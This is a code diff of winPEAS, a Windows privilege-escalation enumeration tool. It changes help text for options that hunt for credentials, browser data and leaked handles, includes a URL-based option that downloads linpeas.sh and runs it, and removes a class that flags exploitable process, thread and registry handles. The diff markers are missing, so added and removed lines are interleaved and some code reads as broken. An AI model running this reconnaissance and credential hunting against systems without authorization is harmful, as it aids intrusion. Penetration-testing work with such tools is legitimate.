Console.WriteLine(LCYAN + " processinfo" + GRAY + " Search processes information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " servicesinfo" + GRAY + " Search services information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " applicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " networkinfo" + GRAY + " Search network information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " browserinfo" + GRAY + " Search browser information" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " filesinfo" + GRAY + " Search generic files that can contains credentials" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " fileanalysis" + GRAY + " Search specific files that can contains credentials and for regexes inside files" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " quiet" + GRAY + " Do not print banner" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " domain" + GRAY + " Enumerate domain information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " systeminfo" + GRAY + " Search system information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " userinfo" + GRAY + " Search user information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " processinfo" + GRAY + " Search processes information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " servicesinfo" + GRAY + " Search services information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " applicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " networkinfo" + GRAY + " Search network information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " browserinfo" + GRAY + " Search browser information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " filesinfo" + GRAY + " Search files that can contains credentials" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR);
|
||||
Console.WriteLine();
|
||||
Console.WriteLine(LCYAN + " quiet" + GRAY + " Do not print banner" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " searchpf" + GRAY + " Search credentials via regex also in Program Files folders" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " max-regex-file-size=1000000" + GRAY + $" Max file size (in Bytes) to search regex in. Default: {Checks.Checks.MaxRegexFileSize}B" + NOCOLOR);
|
||||
|
||||
Console.WriteLine();
|
||||
Console.WriteLine(GREEN + " Additional checks (slower):");
|
||||
Console.WriteLine(LCYAN + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR);
|
||||
Console.WriteLine(LCYAN + " -linpeas=[url]" + GRAY + $" Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\n" +
|
||||
Console.WriteLine(LCYAN + " Additional checks (slower):");
|
||||
Console.WriteLine(LBLUE + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR);
|
||||
Console.WriteLine(LBLUE + " -linpeas=[url]" + GRAY + $" Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\n" +
|
||||
$" (default: {Checks.Checks.LinpeasUrl})" + NOCOLOR);
|
||||
|
||||
}
|
||||
@@ -214,18 +213,9 @@ namespace winPEAS.Helpers
|
||||
Console.WriteLine(DGRAY + to_print + NOCOLOR);
|
||||
}
|
||||
|
||||
public static void LongPathWarning(string path)
|
||||
{
|
||||
if (!Checks.Checks.WarningIsLongPath)
|
||||
{
|
||||
GrayPrint($"The path {path} is too large, try to enable LongPaths in the registry (no more warning about this will be shown)");
|
||||
Checks.Checks.WarningIsLongPath = true;
|
||||
}
|
||||
}
|
||||
|
||||
internal static void PrintDebugLine(string log)
|
||||
{
|
||||
Console.WriteLine(DGRAY + " [Debug] " + log + NOCOLOR);
|
||||
Console.WriteLine(YELLOW + " [Debug] " + log + NOCOLOR);
|
||||
Console.WriteLine();
|
||||
}
|
||||
|
||||
@@ -240,11 +230,6 @@ namespace winPEAS.Helpers
|
||||
GrayPrint($" [X] Exception: {message}");
|
||||
}
|
||||
|
||||
public static void PrintNoNL(string message)
|
||||
{
|
||||
Console.Write(message);
|
||||
}
|
||||
|
||||
public static void AnsiPrint(string to_print, Dictionary<string, string> ansi_colors_regexp)
|
||||
{
|
||||
if (to_print.Trim().Length > 0)
|
||||
@@ -284,7 +269,7 @@ namespace winPEAS.Helpers
|
||||
{
|
||||
foreach (KeyValuePair<string, string> entry in dicprint)
|
||||
{
|
||||
if (delete_nulls && (entry.Value == null || string.IsNullOrEmpty(entry.Value.Trim())))
|
||||
if (delete_nulls && string.IsNullOrEmpty(entry.Value.Trim()))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
@@ -310,7 +295,6 @@ namespace winPEAS.Helpers
|
||||
Console.WriteLine(line);
|
||||
}
|
||||
}
|
||||
|
||||
public static void DictPrint(Dictionary<string, string> dicprint, bool delete_nulls)
|
||||
{
|
||||
if (dicprint.Count > 0)
|
||||
|
||||
@@ -4,6 +4,7 @@ using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using System.Security.Permissions;
|
||||
using System.Text;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using System;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using winPEAS.Native;
|
||||
|
||||
namespace winPEAS.Helpers.CredentialManager
|
||||
|
||||
@@ -5,15 +5,13 @@
|
||||
public string Filename { get; }
|
||||
public string Extension { get; }
|
||||
public string FullPath { get; }
|
||||
public long Size { get; }
|
||||
public bool IsDirectory { get; }
|
||||
|
||||
public CustomFileInfo(string filename, string extension, string fullPath, long size, bool isDirectory)
|
||||
public CustomFileInfo(string filename, string extension, string fullPath, bool isDirectory)
|
||||
{
|
||||
Filename = filename;
|
||||
Extension = extension;
|
||||
FullPath = fullPath;
|
||||
Size = size;
|
||||
IsDirectory = isDirectory;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Native;
|
||||
using winPEAS.Native.Enums;
|
||||
|
||||
|
||||
@@ -1,601 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
internal class HandlesHelper
|
||||
{
|
||||
private const int CNST_SYSTEM_EXTENDED_HANDLE_INFORMATION = 64;
|
||||
public const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
|
||||
public const int DUPLICATE_SAME_ACCESS = 0x2;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct FILE_NAME_INFO
|
||||
{
|
||||
public int FileNameLength;
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 1000)]
|
||||
public string FileName;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct THREAD_BASIC_INFORMATION
|
||||
{
|
||||
public uint ExitStatus;
|
||||
public IntPtr TebBaseAdress;
|
||||
public CLIENT_ID ClientId;
|
||||
public uint AffinityMask;
|
||||
public uint Priority;
|
||||
public uint BasePriority;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct CLIENT_ID
|
||||
{
|
||||
public int UniqueProcess;
|
||||
public int UniqueThread;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PROCESS_BASIC_INFORMATION
|
||||
{
|
||||
public int ExitStatus;
|
||||
public IntPtr PebBaseAddress;
|
||||
public IntPtr AffinityMask;
|
||||
public int BasePriority;
|
||||
public IntPtr UniqueProcessId;
|
||||
public IntPtr InheritedFromUniqueProcessId;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX
|
||||
{
|
||||
public IntPtr Object;
|
||||
public UIntPtr UniqueProcessId;
|
||||
public IntPtr HandleValue;
|
||||
public uint GrantedAccess;
|
||||
public ushort CreatorBackTraceIndex;
|
||||
public ushort ObjectTypeIndex;
|
||||
public uint HandleAttributes;
|
||||
public uint Reserved;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum ProcessAccessFlags : uint
|
||||
{
|
||||
All = 0x001F0FFF,
|
||||
Terminate = 0x00000001,
|
||||
CreateThread = 0x00000002,
|
||||
VMOperation = 0x00000008,
|
||||
VMRead = 0x00000010,
|
||||
VMWrite = 0x00000020,
|
||||
DupHandle = 0x00000040,
|
||||
SetInformation = 0x00000200,
|
||||
QueryInformation = 0x00000400,
|
||||
QueryLimitedInformation = 0x1000,
|
||||
Synchronize = 0x00100000
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct OBJECT_BASIC_INFORMATION
|
||||
{ // Information Class 0
|
||||
public int Attributes;
|
||||
public int GrantedAccess;
|
||||
public int HandleCount;
|
||||
public int PointerCount;
|
||||
public int PagedPoolUsage;
|
||||
public int NonPagedPoolUsage;
|
||||
public int Reserved1;
|
||||
public int Reserved2;
|
||||
public int Reserved3;
|
||||
public int NameInformationLength;
|
||||
public int TypeInformationLength;
|
||||
public int SecurityDescriptorLength;
|
||||
public System.Runtime.InteropServices.ComTypes.FILETIME CreateTime;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct UNICODE_STRING
|
||||
{
|
||||
public ushort Length;
|
||||
public ushort MaximumLength;
|
||||
public IntPtr Buffer;
|
||||
}
|
||||
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct OBJECT_NAME_INFORMATION
|
||||
{ // Information Class 1
|
||||
public UNICODE_STRING Name;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct OBJECT_TYPE_INFORMATION
|
||||
{ // Information Class 1
|
||||
public UNICODE_STRING Name;
|
||||
public ulong TotalNumberOfObjects;
|
||||
public ulong TotalNumberOfHandles;
|
||||
}
|
||||
|
||||
public enum ObjectInformationClass : int
|
||||
{
|
||||
ObjectBasicInformation = 0,
|
||||
ObjectNameInformation = 1,
|
||||
ObjectTypeInformation = 2,
|
||||
ObjectAllTypesInformation = 3,
|
||||
ObjectHandleInformation = 4
|
||||
}
|
||||
|
||||
public struct VULNERABLE_HANDLER_INFO
|
||||
{
|
||||
public string handlerType;
|
||||
public bool isVuln;
|
||||
public string reason;
|
||||
}
|
||||
|
||||
public struct PT_RELEVANT_INFO
|
||||
{
|
||||
public int pid;
|
||||
public string name;
|
||||
public string imagePath;
|
||||
public string userName;
|
||||
public string userSid;
|
||||
}
|
||||
|
||||
public struct KEY_RELEVANT_INFO
|
||||
{
|
||||
public string hive;
|
||||
public string path;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// Check if the given handler is exploitable
|
||||
public static VULNERABLE_HANDLER_INFO checkExploitaible(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX h, string typeName)
|
||||
{
|
||||
VULNERABLE_HANDLER_INFO vulnHandler = new VULNERABLE_HANDLER_INFO();
|
||||
vulnHandler.handlerType = typeName;
|
||||
|
||||
if (typeName == "process")
|
||||
{
|
||||
// Hex perms from https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights and https://github.com/buffer/maltracer/blob/master/defines.py
|
||||
|
||||
//PROCESS_ALL_ACCESS
|
||||
if ((h.GrantedAccess & 0x001F0FFF) == h.GrantedAccess)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = "PROCESS_ALL_ACCESS";
|
||||
}
|
||||
|
||||
//PROCESS_CREATE_PROCESS
|
||||
else if ((h.GrantedAccess & 0x0080) == h.GrantedAccess)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = "PROCESS_CREATE_PROCESS";
|
||||
}
|
||||
|
||||
//PROCESS_CREATE_THREAD
|
||||
else if ((h.GrantedAccess & 0x0002) == h.GrantedAccess)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = "PROCESS_CREATE_THREAD";
|
||||
}
|
||||
|
||||
//PROCESS_DUP_HANDLE
|
||||
else if ((h.GrantedAccess & 0x0040) == h.GrantedAccess)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = "PROCESS_DUP_HANDLE";
|
||||
}
|
||||
|
||||
//PROCESS_VM_WRITE
|
||||
else if ((h.GrantedAccess & 0x0020) == h.GrantedAccess)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = "PROCESS_VM_WRITE";
|
||||
|
||||
if ((h.GrantedAccess & 0x0010) == h.GrantedAccess)
|
||||
vulnHandler.reason += "& PROCESS_VM_READ";
|
||||
|
||||
if ((h.GrantedAccess & 0x0008) == h.GrantedAccess)
|
||||
vulnHandler.reason += "& PROCESS_VM_OPERATION";
|
||||
}
|
||||
}
|
||||
|
||||
else if (typeName == "thread")
|
||||
{
|
||||
// Codes from https://docs.microsoft.com/en-us/windows/win32/procthread/thread-security-and-access-rights and https://github.com/x0r19x91/code-injection/blob/master/inject.asm
|
||||
|
||||
//THREAD_ALL_ACCESS
|
||||
if ((h.GrantedAccess & 0x1f03ff) == h.GrantedAccess)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = "THREAD_ALL_ACCESS";
|
||||
}
|
||||
|
||||
//THREAD_DIRECT_IMPERSONATION
|
||||
else if ((h.GrantedAccess & 0x0200) == h.GrantedAccess)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = "THREAD_DIRECT_IMPERSONATION";
|
||||
}
|
||||
|
||||
//THREAD_GET_CONTEXT & THREAD_SET_CONTEXT
|
||||
else if (((h.GrantedAccess & 0x0008) == h.GrantedAccess) && ((h.GrantedAccess & 0x0010) == h.GrantedAccess))
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = "THREAD_GET_CONTEXT & THREAD_SET_CONTEXT";
|
||||
}
|
||||
}
|
||||
|
||||
else if (typeName == "file")
|
||||
{
|
||||
|
||||
string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT);
|
||||
if (perm != null && perm.Length > 0)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = perm;
|
||||
}
|
||||
}
|
||||
|
||||
else if (typeName == "key")
|
||||
{
|
||||
string perm = PermissionsHelper.PermInt2Str((int)h.GrantedAccess, PermissionType.WRITEABLE_OR_EQUIVALENT_REG);
|
||||
if (perm != null && perm.Length > 0)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = perm;
|
||||
}
|
||||
}
|
||||
|
||||
else if (typeName == "section")
|
||||
{
|
||||
// Perms from
|
||||
// https://docs.microsoft.com/en-us/windows/win32/secauthz/standard-access-rights
|
||||
// https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask-format
|
||||
// https://github.com/lab52io/LeakedHandlesFinder/blob/master/LeakedHandlesFinder/LeakedHandlesFinder.cpp
|
||||
|
||||
|
||||
//MAP_WRITE
|
||||
if ((h.GrantedAccess & 0x2) == h.GrantedAccess)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = "MAP_WRITE (Research Needed)";
|
||||
}
|
||||
//DELETE, READ_CONTROL, WRITE_DAC, and WRITE_OWNER = STANDARD_RIGHTS_ALL
|
||||
else if ((h.GrantedAccess & 0xf0000) == h.GrantedAccess)
|
||||
{
|
||||
vulnHandler.isVuln = true;
|
||||
vulnHandler.reason = "STANDARD_RIGHTS_ALL (Research Needed)";
|
||||
}
|
||||
}
|
||||
|
||||
return vulnHandler;
|
||||
}
|
||||
|
||||
// Given a found handler get what type is it.
|
||||
public static string GetObjectType(IntPtr handle)
|
||||
{
|
||||
OBJECT_TYPE_INFORMATION basicType = new OBJECT_TYPE_INFORMATION();
|
||||
|
||||
try
|
||||
{
|
||||
IntPtr _basic = IntPtr.Zero;
|
||||
string name;
|
||||
int nameLength = 0;
|
||||
|
||||
try
|
||||
{
|
||||
_basic = Marshal.AllocHGlobal(0x1000);
|
||||
|
||||
Native.Ntdll.NtQueryObject(handle, (int)ObjectInformationClass.ObjectTypeInformation, _basic, 0x1000, ref nameLength);
|
||||
basicType = (OBJECT_TYPE_INFORMATION)Marshal.PtrToStructure(_basic, basicType.GetType());
|
||||
name = Marshal.PtrToStringUni(basicType.Name.Buffer, basicType.Name.Length >> 1);
|
||||
return name;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (_basic != IntPtr.Zero)
|
||||
Marshal.FreeHGlobal(_basic);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
// Get the name of the handler (if any)
|
||||
public static string GetObjectName(IntPtr handle)
|
||||
{
|
||||
OBJECT_BASIC_INFORMATION basicInfo = new OBJECT_BASIC_INFORMATION();
|
||||
try
|
||||
{
|
||||
|
||||
IntPtr _basic = IntPtr.Zero;
|
||||
int nameLength = 0;
|
||||
|
||||
try
|
||||
{
|
||||
_basic = Marshal.AllocHGlobal(Marshal.SizeOf(basicInfo));
|
||||
|
||||
Native.Ntdll.NtQueryObject(handle, (int)ObjectInformationClass.ObjectBasicInformation, _basic, Marshal.SizeOf(basicInfo), ref nameLength);
|
||||
basicInfo = (OBJECT_BASIC_INFORMATION)Marshal.PtrToStructure(_basic, basicInfo.GetType());
|
||||
nameLength = basicInfo.NameInformationLength;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (_basic != IntPtr.Zero)
|
||||
Marshal.FreeHGlobal(_basic);
|
||||
}
|
||||
|
||||
if (nameLength == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
OBJECT_NAME_INFORMATION nameInfo = new OBJECT_NAME_INFORMATION();
|
||||
IntPtr _objectName = Marshal.AllocHGlobal(nameLength);
|
||||
|
||||
try
|
||||
{
|
||||
while ((uint)(Native.Ntdll.NtQueryObject(handle, (int)ObjectInformationClass.ObjectNameInformation, _objectName, nameLength, ref nameLength)) == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
Marshal.FreeHGlobal(_objectName);
|
||||
_objectName = Marshal.AllocHGlobal(nameLength);
|
||||
}
|
||||
nameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(_objectName, nameInfo.GetType());
|
||||
}
|
||||
finally
|
||||
{
|
||||
Marshal.FreeHGlobal(_objectName);
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
if (nameInfo.Name.Length > 0)
|
||||
return Marshal.PtrToStringUni(nameInfo.Name.Buffer, nameInfo.Name.Length >> 1);
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
catch { return null; }
|
||||
}
|
||||
|
||||
// Get all handlers inside the system
|
||||
public static List<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX> GetAllHandlers()
|
||||
{
|
||||
bool is_64 = Marshal.SizeOf(typeof(IntPtr)) == 8 ? true : false;
|
||||
int infoLength = 0x10000;
|
||||
int length = 0;
|
||||
IntPtr _info = Marshal.AllocHGlobal(infoLength);
|
||||
IntPtr _handle = IntPtr.Zero;
|
||||
long handleCount = 0;
|
||||
|
||||
|
||||
// Try to find the size
|
||||
while ((Native.Ntdll.NtQuerySystemInformation(CNST_SYSTEM_EXTENDED_HANDLE_INFORMATION, _info, infoLength, ref length)) == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
infoLength = length;
|
||||
Marshal.FreeHGlobal(_info);
|
||||
_info = Marshal.AllocHGlobal(infoLength);
|
||||
}
|
||||
|
||||
|
||||
if (is_64)
|
||||
{
|
||||
handleCount = Marshal.ReadInt64(_info);
|
||||
_handle = new IntPtr(_info.ToInt64() + 16);
|
||||
}
|
||||
else
|
||||
{
|
||||
handleCount = Marshal.ReadInt32(_info);
|
||||
_handle = new IntPtr(_info.ToInt32() + 8);
|
||||
}
|
||||
|
||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX handleInfo = new SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX();
|
||||
List<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX> handles = new List<SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX>();
|
||||
|
||||
int infoSize = Marshal.SizeOf(handleInfo);
|
||||
Type infoType = handleInfo.GetType();
|
||||
|
||||
|
||||
for (long i = 0; i < handleCount; i++)
|
||||
{
|
||||
if (is_64)
|
||||
{
|
||||
handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)Marshal.PtrToStructure(_handle, infoType);
|
||||
_handle = new IntPtr(_handle.ToInt64() + infoSize);
|
||||
}
|
||||
else
|
||||
{
|
||||
handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)Marshal.PtrToStructure(_handle, infoType);
|
||||
_handle = new IntPtr(_handle.ToInt32() + infoSize);
|
||||
}
|
||||
|
||||
handles.Add(handleInfo);
|
||||
}
|
||||
|
||||
return handles;
|
||||
}
|
||||
|
||||
// Get the owner of a process given the PID
|
||||
public static Dictionary<string, string> GetProcU(Process p)
|
||||
{
|
||||
Dictionary<string, string> data = new Dictionary<string, string>
|
||||
{
|
||||
["name"] = "",
|
||||
["sid"] = ""
|
||||
};
|
||||
IntPtr pHandle = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
Native.Advapi32.OpenProcessToken(p.Handle, 8, out pHandle);
|
||||
WindowsIdentity WI = new WindowsIdentity(pHandle);
|
||||
string uSEr = WI.Name;
|
||||
string sid = WI.User.Value;
|
||||
data["name"] = uSEr.Contains(@"\") ? uSEr.Substring(uSEr.IndexOf(@"\") + 1) : uSEr;
|
||||
data["sid"] = sid;
|
||||
return data;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return data;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (pHandle != IntPtr.Zero)
|
||||
{
|
||||
Native.Kernel32.CloseHandle(pHandle);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Get info of the process given the PID
|
||||
public static PT_RELEVANT_INFO getProcInfoById(int pid)
|
||||
{
|
||||
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
|
||||
|
||||
Process proc = Process.GetProcessById(pid);
|
||||
Dictionary<string, string> user = GetProcU(proc);
|
||||
|
||||
StringBuilder fileName = new StringBuilder(2000);
|
||||
Native.Psapi.GetProcessImageFileName(proc.Handle, fileName, 2000);
|
||||
|
||||
pri.pid = pid;
|
||||
pri.name = proc.ProcessName;
|
||||
pri.userName = user["name"];
|
||||
pri.userSid = user["sid"];
|
||||
pri.imagePath = fileName.ToString();
|
||||
|
||||
return pri;
|
||||
}
|
||||
|
||||
// Get information of a handler of type process
|
||||
public static PT_RELEVANT_INFO getProcessHandlerInfo(IntPtr handle)
|
||||
{
|
||||
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
|
||||
PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION();
|
||||
IntPtr[] pbi_arr = new IntPtr[6];
|
||||
int pid;
|
||||
|
||||
|
||||
int retLength = 0;
|
||||
|
||||
// Try to find the size
|
||||
uint status = (uint)Native.Ntdll.NtQueryInformationProcess(handle, 0, pbi_arr, 48, ref retLength);
|
||||
if (status == 0)
|
||||
{
|
||||
|
||||
//pbi.ExitStatus = (int)pbi_arr[0];
|
||||
//pbi.PebBaseAddress = pbi_arr[1];
|
||||
//pbi.AffinityMask = pbi_arr[2];
|
||||
//pbi.BasePriority = (int)pbi_arr[3];
|
||||
pbi.UniqueProcessId = pbi_arr[4];
|
||||
//pbi.InheritedFromUniqueProcessId = pbi_arr[5];
|
||||
pid = (int)pbi.UniqueProcessId;
|
||||
}
|
||||
else
|
||||
{
|
||||
pid = (int)Native.Kernel32.GetProcessId(handle);
|
||||
}
|
||||
|
||||
if (pid == 0)
|
||||
return pri;
|
||||
|
||||
return getProcInfoById(pid);
|
||||
}
|
||||
|
||||
// Get information of a handler of type thread
|
||||
public static PT_RELEVANT_INFO getThreadHandlerInfo(IntPtr handle)
|
||||
{
|
||||
PT_RELEVANT_INFO pri = new PT_RELEVANT_INFO();
|
||||
THREAD_BASIC_INFORMATION tbi = new THREAD_BASIC_INFORMATION();
|
||||
IntPtr[] tbi_arr = new IntPtr[6];
|
||||
int pid;
|
||||
|
||||
|
||||
/* You could also get the PID using this method
|
||||
int retLength = 0;
|
||||
uint status = (uint)NtQueryInformationThread(handle, 0, tbi_arr, 48, ref retLength);
|
||||
if (status != 0)
|
||||
{
|
||||
return pri;
|
||||
}
|
||||
|
||||
pid = (int)GetProcessIdOfThread(handle);
|
||||
|
||||
CLIENT_ID ci = new CLIENT_ID();
|
||||
|
||||
tbi.ExitStatus = (uint)tbi_arr[0];
|
||||
tbi.TebBaseAdress = tbi_arr[1];
|
||||
tbi.ClientId = tbi_arr[2];
|
||||
tbi.AffinityMask = (uint)tbi_arr[3];
|
||||
tbi.Priority = (uint)tbi_arr[4];
|
||||
tbi.BasePriority = (uint)tbi_arr[5];*/
|
||||
|
||||
pid = (int)Native.Kernel32.GetProcessIdOfThread(handle);
|
||||
if (pid == 0)
|
||||
return pri;
|
||||
|
||||
return getProcInfoById(pid);
|
||||
}
|
||||
|
||||
// Get information of a handler of type key
|
||||
public static KEY_RELEVANT_INFO getKeyHandlerInfo(IntPtr handle)
|
||||
{
|
||||
KEY_RELEVANT_INFO kri = new KEY_RELEVANT_INFO();
|
||||
int retLength = 0;
|
||||
|
||||
// Get KeyNameInformation (3)
|
||||
uint status = (uint)Native.Ntdll.NtQueryKey(handle, 3, null, 0, ref retLength);
|
||||
var keyInformation = new byte[retLength];
|
||||
status = (uint)Native.Ntdll.NtQueryKey(handle, 3, keyInformation, retLength, ref retLength);
|
||||
|
||||
string path = Encoding.Unicode.GetString(keyInformation, 4, keyInformation.Length - 4).ToLower();
|
||||
string hive = "";
|
||||
|
||||
// https://groups.google.com/g/comp.os.ms-windows.programmer.win32/c/nCs-9zFRm6I
|
||||
if (path.StartsWith(@"\registry\machine"))
|
||||
{
|
||||
path = path.Replace(@"\registry\machine", "");
|
||||
hive = "HKLM";
|
||||
}
|
||||
|
||||
else if (path.StartsWith(@"\registry\user"))
|
||||
{
|
||||
path = path.Replace(@"\registry\user", "");
|
||||
hive = "HKU";
|
||||
}
|
||||
|
||||
else
|
||||
{ // This shouldn't be needed
|
||||
if (path.StartsWith("\\"))
|
||||
path = path.Substring(1);
|
||||
hive = Registry.RegistryHelper.CheckIfExists(path);
|
||||
}
|
||||
|
||||
if (path.StartsWith("\\"))
|
||||
path = path.Substring(1);
|
||||
|
||||
kri.hive = hive;
|
||||
kri.path = path;
|
||||
|
||||
return kri;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
using System.Diagnostics;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace winPEAS.Helpers
|
||||
{
|
||||
|
||||
@@ -76,7 +76,7 @@ namespace winPEAS.Helpers
|
||||
}
|
||||
|
||||
//Check if rundll32
|
||||
string[] binaryPathdll32 = binaryPath.Split(new string[] { "Rundll32.exe" }, StringSplitOptions.None);
|
||||
string[] binaryPathdll32 = binaryPath.Split(new string[] {"Rundll32.exe"}, StringSplitOptions.None);
|
||||
|
||||
if (binaryPathdll32.Length > 1)
|
||||
{
|
||||
@@ -224,7 +224,7 @@ namespace winPEAS.Helpers
|
||||
return strOutput;
|
||||
}
|
||||
|
||||
private static string[] suffixes = new[] { " B", " KB", " MB", " GB", " TB", " PB" };
|
||||
private static string[] suffixes = new[] {" B", " KB", " MB", " GB", " TB", " PB"};
|
||||
|
||||
public static string ConvertBytesToHumanReadable(double number, int precision = 2)
|
||||
{
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System;
|
||||
